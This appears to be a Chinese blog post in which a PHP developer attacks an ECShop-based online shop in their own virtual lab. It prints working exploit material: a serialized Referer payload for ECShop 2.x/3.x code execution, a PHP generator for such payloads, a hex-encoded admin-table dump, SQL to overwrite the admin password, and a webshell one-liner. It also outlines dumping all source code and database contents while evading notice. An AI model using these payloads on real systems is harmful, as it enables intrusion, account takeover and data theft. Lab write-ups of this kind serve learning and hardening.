最近在虚拟机里搭了一个kali2022,想试试kali的一些工具的功能,于是想到最近在网上的源码站下载了一套ecshop二开的商城,就搭建在另一个虚拟机上,想着看自己能否攻破下来。实验环境:虚拟机基于centos7.8,宝塔最新版,然后就是php5.3,数据库mysql5.6,nginx1.20,开启防跨站功能。 环境搭建好后,搭建好网站,开撸。
一、收集信息
我这里是模拟一个陌生人,来攻击这个网站,所以等于是不知道上面的信息。所以第一步,收集信息,看看网站用的是什么环境,开发语言,是不是用了什么开发框架?然后根据这些信息去找公开的漏洞信息,测试这些漏洞是否可以利用?
1.根据网站页面搜集信息
首先打开网站首页,是一个登录界面。然后打开浏览器开发者工具,随便选一个请求查看请求信息。
看到302跳转到了user.php的登录页面,系统需要登录才行。根据url后缀初步判断是php写的(这个后缀是可以伪造的),然后Server用的是nginx(也可以伪造或隐藏),这些只是初部了解系统。
看看页面html信息,可以看到ecshop的信息
在html中看到ecshop和2.7.2等字样,疑似是ecshop版本2,7,3搭建的。
2.nmap扫一下服务器信息
用 nmap -v -A scanme.nmap.org 命令获取一些服务器信息,可以看到21(ftp),22(ssh),8888(宝塔),80(http),443(https),还有一些其它端口不说明了,总之基本了解了服务器环境(这些都是通常情况下)。一个标准的linux和宝塔搭建的服务器环境。
ftp和ssh可以尝试密码爆破,但是这种方法不是很给力(运气不好就完了),那还不如社会工程学玩好一点。
二、开始测试
1.搜集漏洞信息
信息收集完,就是开始验证利用这些信息。首先找ecshop的漏洞,最直接的方法搜索引擎。
文章中介绍了注入原理,并给出了利用方法。接下来验证漏洞是否存在?顺便验证搜集到的信息是否准确?
文章地址:ECShop全系列版本远程代码执行高危漏洞分析+实战提权 – FreeBuf网络安全行业门户
2.burpsuite测试
打开 burp suite,然后开启 burp suite 断点,然后开启chrome浏览器( kali自带burp suite,然后burp suite自带chrome浏览器,burp自带的浏览器已经将burp代理设置好,免去配置的问题)。构造注入信息。
这里的攻击原理就是:用burp修改编辑浏览器向服务器发送的请求信息。正常情况下,我们访问一个网站,是浏览器直接向服务器发送一些请求信息,现在我们用burp将请求暂停,然后将请求信息修改伪造,加入一些危险的内容,然后将这些危险的信息发送给服务器,如果服务器端没有预先防范这些危险的内容,那服务器可能就会被攻破。(不一定用burp,其它能伪造请求信息的工具都可以,例如我后面用的php curl伪造请求)。
然后就看到了phpinfo信息,和搜集到的信息一致,确定信息是准确的,并且这个注入漏洞存在。
3.分析这个POC
上面测试用的POC是博客里提供的,文章里详细分析了漏洞的原理,这里还是在简单分析一下这个POC,后面构造自己的exp还要用到。
#博客提供的POC
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
POC中有一串字符:
a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}
因为漏洞原理是php序列化执行漏洞,所以这是一个php序列化构造的字符串, 首先我们用php序列化工具来还原一下。
工具地址: php在线反序列化工具 unserialize serialize
通过工具我们可以看到反序列化的结果是一个数组,然后我们可以看到一串0x开头的字符串0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,这应该是一个十六进制的字符,我们再来还原看一下(这里要把0x去掉,即7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d )。
工具地址: Hex编码/Hex解码
可以看到解码后是打印phpinfo信息的注入内容。
三、获取源码
1.getshell(没成功)
获取网站源码的话,我们首先想到的方法是getshell,这样还能拿到服务器其它信息。我们用上面的分析方法查看一下博客作者提供的webshell Exp来还原看一下。
可能是为了过wrf,他还用base64处理了一下,我们再用base64解码看一下。
解码出来是:
file_put_contents('1.php','<?php eval($_POST[1337]); ?>')
他的思路是,创建一个“一句话”的1.php文件,然后用菜刀或蚁剑连接。可是执行完之后,并访问不到这个文件。查看服务器目录也没有这个文件。可能服务器的某种安全策略或插件阻拦了创建这个文件。
2.登陆后台
通过下载ECShop_V2.7.3文件,查看数据库后台管理员表名,得知数据库名字叫: ecs_admin_user 。
然后构造查询语句,查出管理员信息。
POC构造过程就不记录了,给一段生成代码吧
<?php
$base64 = base64_encode("print_r(\$GLOBALS['db']->getAll('select * from myyingshiertao.ecs_admin_user'));");
//打印上传文件信息$_FILES
$shell = bin2hex("{\$asd'];assert(base64_decode('$base64'));//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "</br>";
echo "{$hash2}ads|{$s}{$hash2}";
echo "</br>";
echo "\n\nPOC for ECShop 3.x: \n";
echo "</br>";
echo "{$hash3}ads|{$s}{$hash3}";
上面是从网上找到的,分别生成Ecshop 2.X和Ecshop3.x 小工具。
#查询管理员信息POC
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:353:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f6465282763484a70626e52666369676b52307850516b464d5531736e5a47496e5853302b5a325630515778734b43647a5a57786c593351674b69426d636d39744947313565576c755a334e6f61575679644746764c6d566a633139685a473170626c3931633256794a796b704f773d3d2729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
用burp再请求,可以看到获得了管理员信息。
管理员密码是加密的,那怎么才能登录管理后台呢?我们可以将管理员密码修改,修改成我们知道的密码,然后登录后再改回原来的。要改密码,我们需要知道密码的加密方式,通过查看ecshop源码可知管理员密码的加密方式是:
我们可以得知管理员如果有salt,就先将MD5加密密码,然后加salt后再MD5加密,下面是生成一个admin123的方法:
var_dump(md5(md5('admin123').'5731'));die();
然后我们构造一个修改管理员密码的POC,语句为:
print_r($GLOBALS['db']->query('ecs_admin_user SET password="01797d915509e3c6027306a08b48eaf3" WHERE user_id=1'));
恢复原管理员密码:
print_r($GLOBALS['db']->query('update ecs_admin_user SET password="c1aebc929c87a34175dd3fea4ed5909d" WHERE user_id=1'));
登录管理后台
上传正常商品图片,打开可能的上传路径也显示404,上传不成功,因为系统二开,所以不知道失败原因,上传shell当然也是失败。
3.另类获取源码(爬虫法)
过程就不写了,写一下大概思路。
1.先构造一个能用scandir方法获取文件夹内容的POC。
2.通过循环获取网站下的文件夹,考虑到有些网站文件夹很多,可能需要获取很多次,因此将每次扫描成功的路径结果缓存起来,下次扫描先读缓存,没有的话,再去获取(尽减少网络请求次数,一方面避免网络出错,另一方面减少请求过多被管理员发现)。
3.直到将所有目录和文件读取完,然后通过file_get_contents方法读取文件内容,然后打印出来。然后通过正则匹配出文件内容。这里有个小技巧,为了避免文件内容在传输过程中被破环,可能将文件内容进行编码,比如base64或bin2hex。
4.获取到内容后再通过路径创建文件夹,然后用file_put_content()保存文件。同样是,如果保存成功,就将文件全路径缓存和文件内容缓存起来,避免重复处理和重复请求。
四、获取数据库
过程不写了,写一下大概思路。
1.先构造一个能执行sql的POC。
2.获取所有数据库表。"print(json_encode(\$GLOBALS['db']->getCol('show tables')));"
3.循环获取每个表的建表语句。”print(json_encode(\$GLOBALS[‘db’]->getRow(‘SHOW CREATE TABLE $table_name’)));”;
4.循环获取每个表的数据,因为有些表数据很多,所以先获取表数据量。 print(json_encode(\$GLOBALS['db']->getCol('SELECT COUNT(*) FROM $table')));
5.然后计算分页数据,可以将获取成功的sql和结果缓存起来,同样是避免重复请求获取。
6.将获取到的数据拼接成插入数据的sql。
五、说明
过程看起来不多,实际是花了两天外加一个通宵才摸索出来的经验,因为平时主要是做php业务系统开发,只是之前做互联网医院三级等保的时候,为了复现评测机构提交的问题,去学习了一些基本东西,能知道使用的工具和方法有限。写的不好,高手大牛还请手下留情。
另外温馨提醒:根据国家法律规定,未经授权请勿修改篡改他人计算机系统。软件和数据也是有版权的,请勿非法获取相关信息。文章分享纯粹是为了让大家简单了解可能入侵的方式,从而加强防护,加固系统。
最后感谢这些分享者,排名不分先后。
1.ECShop全系列版本远程代码执行高危漏洞分析+实战提权 – FreeBuf网络安全行业门户
7.ecshop 2.x/3.x sql注入/任意代码执行漏洞
9.PHP创建文件及写入数据(覆盖写入,追加写入)的方法详解
10.js定时刷新数据
11.open_basedir restriction in effect,解决php引入文件权限问题 解决方法
原创文章,作者:Zeyu,如若转载,请注明出处:https://jinzhijun.cn/develop/1093